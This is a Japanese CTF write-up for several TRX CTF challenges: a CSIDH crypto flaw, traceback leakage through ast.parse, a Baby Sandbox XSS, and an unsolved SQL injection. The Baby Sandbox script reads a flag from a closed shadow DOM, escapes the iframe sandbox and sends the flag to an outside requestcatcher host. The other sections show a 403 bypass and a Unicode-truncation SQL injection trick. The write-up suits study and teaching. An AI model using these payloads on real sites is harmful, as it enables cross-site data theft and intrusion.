https://ctftime.org/event/2654
[cry] Lepton
from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.Padding import pad # CSIDH-512 prime ells = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 587] p = 4 * prod(ells) - 1 F = GF(p) E0 = EllipticCurve(F, [1, 0]) secret_vector = [randint(0, 1) for _ in range(len(ells))] with open('flag.txt', 'r') as f: FLAG = f.read().strip() def walk_isogeny(E, exponent_vector): P = E.random_point() o = P.order() order = prod(ells[i] for i in range(len(ells)) if exponent_vector[i] == 1) while o % order: P = E.random_point() o = P.order() P = o // order * P phi = E.isogeny(P, algorithm='factored') E = phi.codomain() return E, phi while 1: E = E0 phi = E.identity_morphism() random_vector = [randint(0, 1) for _ in range(len(ells))] E, _ = walk_isogeny(E, random_vector) E = E.montgomery_model() E.set_order(4 * prod(ells)) print("[>] Intermidiate montgomery curve:", E.a2()) print("[?] Send me your point on the curve") try: P = E([int(x) for x in input().split(",")]) E, phi = walk_isogeny(E, secret_vector) E_final = E.montgomery_model() phi = E.isomorphism_to(E_final)*phi Q = phi(P) print(Q.xy()) secret_key = sha256(str(Q.xy()[0]).encode()).digest() print(secret_key) cipher = AES.new(secret_key, AES.MODE_ECB) print(cipher.encrypt(pad(FLAG.encode(), 16)).hex()) except: print("[!] Invalid input") continue
CSIDHが実装されている(っぽい)。本来は勉強をしないといけないのだが、solve数が結構あったので雑に見ると、(0,0)
を渡すと固定で(0,0)
が返ってくるので、そこからフラグを暗号化しているsecret_keyを求められる。以下のように復号化すればよい。
''' $ nc lepton.ctf.theromanxpl0.it 7004 [>] Intermidiate montgomery curve: 5313161391566263167583221114983790219980567124893029664306085817954804192880955372716029701706633736767221863095320866573370738421380581717370029545818847 [?] Send me your point on the curve 0,0 3a641a40286eb1611870ca1a8609689793153b1f404037d202b36969d18e2bb61f6ff9e2fc12142c1a53e01f7f17dc17 ''' from Crypto.Cipher import AES from Crypto.Util.Padding import pad secret_key = b"_\xec\xebf\xff\xc8o8\xd9Rxlmily\xc2\xdb\xc29\xddN\x91\xb4g)\xd7:'\xfbW\xe9" encrypted = bytes.fromhex("3a641a40286eb1611870ca1a8609689793153b1f404037d202b36969d18e2bb61f6ff9e2fc12142c1a53e01f7f17dc17") cipher = AES.new(secret_key, AES.MODE_ECB) decrypted = cipher.decrypt(encrypted) print(decrypted)
[web] Online Python Editor
ソースコード有り。secret.pyというどこからも参照されていないpythonファイルがある。
def main(): print("Here's the flag: ") print(FLAG) FLAG = "TRX{fake_flag_for_testing}" main()
サーバーのスクリプトは以下。
import ast import traceback from flask import Flask, render_template, request app = Flask(__name__) @app.get("/") def home(): return render_template("index.html") @app.post("/check") def check(): try: ast.parse(**request.json) return {"status": True, "error": None} except Exception: return {"status": False, "error": traceback.format_exc()} if __name__ == '__main__': app.run(debug=True)
入力できそうな所はast.parse(**request.json)
くらいなので、ここを考える。**
で展開されるので任意の引数を与えることができる。公式ドキュメントを見ながらガチャガチャやる。
ガチャガチャやってると、filenameに実在するsecret.pyを置いて、source部分にsecret.pyと同じ正しい文字列をいれてやると、エラー発生時に残りの文字列を補完して出してくれたので、フラグのある所までエラーが出るように抜き出せばフラグの箇所が例外から得られる。
POST /check HTTP/1.1 Host: python.ctf.theromanxpl0.it:7001 Content-Length: 113 Content-Type: application/json {"source":"\ndef main():\n print(\"Here's the flag: \")\n print(FLAG)\n \nFLAG=","filename":"secret.py"} -> HTTP/1.1 200 OK Server: gunicorn Date: Sun, 23 Feb 2025 09:06:35 GMT Connection: close Content-Type: application/json Content-Length: 495 {"error":"Traceback (most recent call last):\n File \"/app/app.py\", line 14, in check\n ast.parse(**request.json)\n ~~~~~~~~~^^^^^^^^^^^^^^^^\n File \"/usr/local/lib/python3.13/ast.py\", line 54, in parse\n return compile(source, filename, mode, flags,\n _feature_version=feature_version, optimize=optimize)\n File \"secret.py\", line 6\n FLAG = \"TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3}\"\n ^\nSyntaxError: invalid syntax\n","status":false}
[web] Baby Sandbox
ソースコード有り。Admin Bot有り。localstorageにフラグが入っている。
await page.evaluate((flag) => { localStorage.setItem("secret", flag); }, FLAG);
以下のように踏まれる。
try { page = await context.newPage(); await page.goto(`${SITE}?payload=${encodeURIComponent(payload)}`, { waitUntil: "domcontentloaded", timeout: 5000 }); await sleep(1000); } catch (err) { console.error(err); }
埋め込み先はサーバー側が
app.use((req, res, next) => { res.setHeader("Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'; script-src 'self' 'unsafe-inline';"); next() }) ... app.get("/", (req, res) => { let payload = req.query.payload || '<p>Hello World</p>'; payload = payload.replace(/[^\S ]/g, ''); res.render("index", { payload }); });
という感じでCSPを付けて流しているだけ。index.ejsでは
<iframe srcdoc='<%= include("iframe", { payload: payload }) %>' sandbox="allow-scripts allow-same-origin" ></iframe>
のようにiframeのsrcdocに入れている。<%=
となっているのでエンコードされて埋め込まれる。埋め込みに使われているiframe.ejsは
<div id="secret-container"></div> <script> (function() { let container = document.getElementById("secret-container"); let secretDiv = document.createElement("div"); let shadow = secretDiv.attachShadow({ mode: "closed" }); let flagElement = document.createElement("span"); flagElement.textContent = localStorage.getItem("secret") || "TRX{fake_flag_for_testing}"; shadow.appendChild(flagElement); localStorage.removeItem("secret"); container.appendChild(secretDiv); })(); let d = document.createElement("div"); d.innerHTML = "<%= payload %>"; document.body.appendChild(d); </script>
のようにlocalStorageからフラグを取得して、Shadow DOMを作って書き込んで、消している。そのあと、innerHTMLで入力を入れ込んでいる。Shadow DOMに入っているので読めないというのが趣旨の問題。
ejsで埋め込むときのエンコードを回避
最終的な埋め込み先がjavascriptの文字列なので、16進エスケープシーケンスでエンコードして埋め込んでやれば、どのような文字列でもエンコードの影響を受けず入れ込むことができる。
BASE = "http://localhost:1337" payload = ''' <img src onerror=" console.log('XSS') "> ''' payload = ''.join(f'\\x{ord(c):02x}' for c in payload) print(BASE + "/?payload=" + payload) response = httpx.post(BASE + "/visit", json={"payload": payload}) print(response.text)
出てきたURLを開くとXSS
がコンソールに出てくることが確認できる。とりあえず、XSSまでは持ち込めた。
Shadow DOMにある情報を抜く
Shadow DOMにある情報をどうやって抜こうかなと思って手元のメモを漁ってみると、arxenixさんの記事で使えるテクを見つけることができた。
The function window.find("search_text") penetrates within a shadow DOM.
https://blog.ankursundara.com/shadow-dom/
window.find
で文字列検索ができるが、これはShadow DOM内部も対象にできるというもの。試してみよう。
window.find("TRX{f",true,false,true) -> true window.find("TRX{x",true,false,true) -> false
ヒットすればtrue, ヒットしないならfalseであるようなオラクルを手にすることができた。オフラインで高速に回せるので、全探索してフラグを高速に求めることができる。以下のスクリプトで出てくるURLを開くと1文字ずつフラグが特定され、コンソールに出てくるさまが見れる。
BASE = "http://localhost:1337" payload = ''' <img src onerror=" window.flag = 'TRX{'; for (let j = 0; j <= 60; j++) { for (let i = 32; i <= 126; i++) { let c = String.fromCharCode(i); if(window.find(window.flag + c,true,false,true)) { window.flag += c; console.log(window.flag); break; } } } "> ''' payload = ''.join(f'\\x{ord(c):02x}' for c in payload) print(BASE + "/?payload=" + payload)
CSPとsandboxを回避して情報を抜いてくる
クライアントサイドでフラグは得られたので、あとはそれを抜き出してくる。CSPが結構厳しい。
app.use((req, res, next) => { res.setHeader("Content-Security-Policy", "default-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'; script-src 'self' 'unsafe-inline';"); next() })
また、XSSが実行されるのがiframeの中なので、default-src 'none'
が効いてきてlocationの移動も使えない。また、iframeもsandboxがかかっていて、諸々のテクが使えない。iframeの状況は以下。
<iframe srcdoc='<%= include("iframe", { payload: payload }) %>' sandbox="allow-scripts allow-same-origin" ></iframe>
紆余曲折していると、Chrome DevToolsのConsoleに以下のように出ていることに気が付く。
An iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can escape its sandboxing.
あー、そういう話ありましたね。手元のメモを漁ると、Huliさんの記事がメモってあった。
In addition, the specification also specifically warns that if you embed a same-origin webpage in an iframe and set allow-same-origin allow-scripts in the sandbox, the webpage in the iframe can remove the sandbox by itself, making it the same as with or without the sandbox, like this:
https://blog.huli.tw/2022/04/07/en/iframe-and-window-open/
ここでは<script>top.document.querySelector('iframe').removeAttribute('sandbox');location.reload();alert(1)</script>
というやり方が紹介されていたが、自分はtop.document.bodyに任意のHTMLが書き込めることを利用し、Top Level NavigationでXSSを起こし直し、locationでrequestcatcherに送ることにした。
最終的に、requestcatcherを用意して、以下のスクリプトを動かせばフラグが降ってくる。
import httpx BASE = "http://localhost:1337" DEST = "https://[yours].requestcatcher.com" payload = ''' <img src onerror=" window.flag = 'TRX{'; for (let j = 0; j <= 60; j++) { for (let i = 32; i <= 126; i++) { let c = String.fromCharCode(i); if(window.find(window.flag + c,true,false,true)) { window.flag += c; console.log(window.flag); break; } } } top.document.body.innerHTML += '<img src onerror=location=`<<DEST>>/flag?'+window.flag+'`>'; "> ''' payload = payload.replace("<<DEST>>", DEST) payload = ''.join(f'\\x{ord(c):02x}' for c in payload) print(BASE + "/?payload=" + payload) response = httpx.post(BASE + "/visit", json={"payload": payload}) print(response.text)
[web] ASCQL 解けなかったのだが非常に惜しく、悔しいので書く
ソースコード無し。YOU WILL NEVER ACCESS MY /secret!!!!!!
と書いてあるので、/secret
にアクセスしてみると403エラーになる。とりあえず、よくある403 bypassテクを試していくと、PathをURLエンコードして送ると回避できた。
GET /%73%65%63%72%65%74 HTTP/1.1 Host: [redacted].ctf.theromanxpl0.it Accept-Language: ja Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Cookie: session=f999a983-71b5-4b43-a40d-115c4280d0a9 Connection: keep-alive -> HTTP/1.1 303 See Other Server: nginx/1.26.3 Date: Sun, 23 Feb 2025 13:01:44 GMT Connection: keep-alive location: /sup3rs3cr3tb4ckup.zip Content-Length: 0
ということで/sup3rs3cr3tb4ckup.zip
という謎のパスが得られるので、アクセスしてみるとソースコード一式だった。(?)
SQL Injection
ソースコードを巡回すると、フラグはDBに入っている。
import { env } from '$env/dynamic/private'; import { db } from '$lib/server/db'; import { notes } from '$lib/server/db/schema'; import type { ServerInit } from '@sveltejs/kit'; export const init: ServerInit = async () => { await db.insert(notes).values({ id: 1, content: env.FLAG ?? 'TRX{this_is_a_fake_flag}', hidden: true }).onConflictDoNothing(); };
SQL Injectionあるかなーと思って見てみると、それっぽい所がある。
export const load: PageServerLoad = async ({ url, cookies }) => { const session = await getSession(cookies); const filter = Object.fromEntries(url.searchParams)["q"]; const sqliteDialect = new SQLiteSyncDialect(); const safeFilter = sqliteDialect.escapeString(`%${filter ?? ''}%`); // remove all non-ascii characters const safeSafefilter = [...safeFilter] .map((c) => String.fromCharCode(c.charCodeAt(0) % 256)) .join(''); try { const query = sql.raw(` SELECT * FROM note WHERE NOT hidden AND sessionId = ${session.id} AND content LIKE ${safeSafefilter} ORDER BY id ASC` ); const result = (await db.all(query)) as InferSelectModel<typeof notes>[]; if ((safeSafefilter.match(/'/g) || []).length > 2) { error(400, "DO NOT!!!!!"); } return { notes: result }; } catch { error(400, "DO NOT!!!!!"); } };
querystringでqを入力すると、以下のように変換されて
const filter = Object.fromEntries(url.searchParams)["q"]; const sqliteDialect = new SQLiteSyncDialect(); const safeFilter = sqliteDialect.escapeString(`%${filter ?? ''}%`); // remove all non-ascii characters const safeSafefilter = [...safeFilter] .map((c) => String.fromCharCode(c.charCodeAt(0) % 256)) .join('');
以下に埋め込まれる。
const query = sql.raw(` SELECT * FROM note WHERE NOT hidden AND sessionId = ${session.id} AND content LIKE ${safeSafefilter} ORDER BY id ASC` );
escapeStringとは?ということでライブラリのソースコードを見てみると'
を''
にしている。パッと見回避できなさそうだが、
// remove all non-ascii characters const safeSafefilter = [...safeFilter] .map((c) => String.fromCharCode(c.charCodeAt(0) % 256)) .join('');
これが不自然。これは見たことがあるぞ… Unicode Truncation!
> safeFilter = "'ho嘧ge'"; "'ho嘧ge'" > [...safeFilter].map((c) => String.fromCharCode(c.charCodeAt(0) % 256)).join(''); "'ho'ge'"
嘧
が送りこめれば勝ち!と思ったが、永遠に送り込めないままコンテストが終了してしまった…
(あとで復習したら追記するかも)